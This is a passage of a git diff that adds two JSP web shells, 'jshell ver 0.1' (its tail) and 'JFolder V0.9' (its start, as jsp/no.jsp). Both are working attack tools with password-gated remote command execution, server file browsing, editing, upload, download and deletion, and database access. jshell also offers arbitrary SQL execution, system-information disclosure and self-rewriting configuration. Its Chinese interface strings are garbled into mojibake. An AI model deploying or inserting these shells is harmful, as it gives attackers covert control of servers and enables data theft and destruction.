in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "ļ\"" + files2Copy[i] + "\"ʧ
    "; + } + } + + if (sRet.equals("")) { + sRet = "ļƳɹڷأԺ򡭡"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "ļ\"" + file2Rename + "\""; + } else { + file.renameTo(newFile); + sRet = "ļɹڷأԺ򡭡"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⵼ļ\"" + file2Rename + "\"ʧ"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "ݿû"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sqlִгɹؽ
    \n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
    \n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sqlִгɹ"; + } else { + sRet = "sqlִʧ"; + } + } + } catch (SQLException e) { + sRet = "sqlִʧ"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("ļʧ"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("дļʧ"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("벻гĸ»ַ"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("ʽֻĸֵ"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("sessionʱʱֻ"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("չֻĸֺ»ߵ"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ļѾǷ޸"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +jshell ver 0.1 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> + + + + + + + + + + +
    JShell Ver 1.0
    : + + +
    +<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • !
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Ϣ
    <%=request.getServerName()%>
    ˿<%=request.getServerPort()%>
    ϵͳ<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    ǰû<%=System.getProperty("user.name")%>
    ǰûĿ¼<%=System.getProperty("user.home")%>
    ǰûĿ¼<%=System.getProperty("user.dir")%>
    ·<%=request.getRequestURI()%>
    ·<%=request.getRealPath(request.getServletPath())%>
    Э<%=request.getProtocol()%>
    汾Ϣ<%=application.getServerInfo()%>
    JDK汾<%=System.getProperty("java.version")%>
    JDKװ·<%=System.getProperty("java.home")%>
    JAVA汾<%=System.getProperty("java.vm.specification.version")%>
    JAVA<%=System.getProperty("java.vm.name")%>
    JAVA·<%=System.getProperty("java.class.path")%>
    JAVA·<%=System.getProperty("java.library.path")%>
    JAVAʱĿ¼<%=System.getProperty("java.io.tmpdir")%>
    JIT<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    չĿ¼·<%=System.getProperty("java.ext.dirs")%>
    ͻϢ
    ͻַ<%=request.getRemoteAddr()%>
    <%=request.getRemoteHost()%>
    û<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    ʽ<%=request.getScheme()%>
    Ӧðȫ׽ֲ<%=request.isSecure() == true ? "" : ""%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "Ŀ¼Ϊ"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "Ŀ¼Ϊ"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "ļΪ"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "ļΪ"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "ûѡҪɾļ"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "ûѡҪɾļ"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "ûѡҪƵļ"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "ûѡҪƵļ"; + } else if (dstPath.equals("")) { + result = "ûдҪƵĿ¼·"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "ҳ浼"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "ûѡҪļ"; + } else if (newName.equals("")) { + result = "ûдļ"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    ַ +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    ִ
    + + +
    ִн
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql

     \n"; + + DBRelease(); + } else { + result = "ݿʧ"; + } + } else { + result = "ݿûҵ"; + } + } + } +%> + + + "> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ݿ + + +
    ݿַ
    ݿ˿
    ݿû
    ݿ
    ݿ
    <%=result%>
    + + + + +
    + <%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("config")) { + String cfAction = ""; + int i; + + if (request.getParameter("cfAction") == null) { + cfAction = "main"; + } else { + cfAction = request.getParameter("cfAction").trim(); + if (cfAction.equals("")) + cfAction = "main"; + } + + if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + + " onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    ϵͳ
    Sessionʱʱ
    ɱ༭ļ + + + + + + +
    + + + +

    + +
    + +
    +
    +<% + } else if (cfAction.equals("save")) { + if (request.getParameter("password") == null || + request.getParameter("encode") == null || + request.getParameter("sessionTime") == null || + request.getParameterValues("textFileTypes") == null) { + response.sendRedirect(request.getRequestURI()); + } + + String result = ""; + + String newPassword = request.getParameter("password").trim(); + String newEncodeType = request.getParameter("encode").trim(); + String newSessionTime = request.getParameter("sessionTime").trim(); + String[] newTextFileTypes = request.getParameterValues("textFileTypes"); + String jshellPath = request.getRealPath(request.getServletPath()); + + try { + JshellConfig jconfig = new JshellConfig(jshellPath); + jconfig.setPassword(newPassword); + jconfig.setEncodeType(newEncodeType); + jconfig.setSessionTime(newSessionTime); + jconfig.setTextFileTypes(newTextFileTypes); + jconfig.save(); + result += "ñɹڷأԺ򡭡"; + result += ""; + } catch (JshellConfigException e) { + result = "" + e.getMessage() + ""; + } + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% + } +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form + } else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    jshell ver 0.1
    Jshellһ򵥵jspWeb Shellܼܺ򵥡⼸ϿοʱûǸдģҲ˵ΣóϣеôңɶԲãǻӭȤѺҽ
    created by luoluo and welcome to Ӱ
    +<% +//========================================================================================== + } +} +%> + + + \ No newline at end of file diff --git a/jsp/no.jsp b/jsp/no.jsp new file mode 100644 index 0000000..3154e83 --- /dev/null +++ b/jsp/no.jsp @@ -0,0 +1,995 @@ +<% +/** +JFolder V0.9 windows platform +@Filename JFolder.jsp +@Description һ򵥵ϵͳļĿ¼ʾԴṩļˡ +@Author Steven Cee +@Email cqq1978@Gmail.com +@Bugs : ʱļ޷ʾ +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //԰汾0 : ģ 1Ӣ +String strThisFile="JFolder.jsp"; +String[] authorInfo={" дIJãð - - by ǿ http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {" ","File Management"}; +String[] strCommand = {"CMD ","Command Window"}; +String[] strSysProperty = {"ϵ ͳ ","System Property"}; +String[] strHelp = {" ","Help"}; +String[] strParentFolder = {"ϼĿ¼","Parent Folder"}; +String[] strCurrentFolder= {"ǰĿ¼","Current Folder"}; +String[] strDrivers = {"","Drivers"}; +String[] strFileName = {"ļ","File Name"}; +String[] strFileSize = {"ļС","File Size"}; +String[] strLastModified = {"޸","Last Modified"}; +String[] strFileOperation= {"ļ","Operations"}; +String[] strFileEdit = {"޸","Edit"}; +String[] strFileDown = {"","Download"}; +String[] strFileCopy = {"","Move"}; +String[] strFileDel = {"ɾ","Delete"}; +String[] strExecute = {"ִ","Execute"}; +String[] strBack = {"","Back"}; +String[] strFileSave = {"","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windowsϵͳȡÿõ߼ +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M ʾ5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("ļСΪ 0 ֽڣͲ˰"); + } + else + 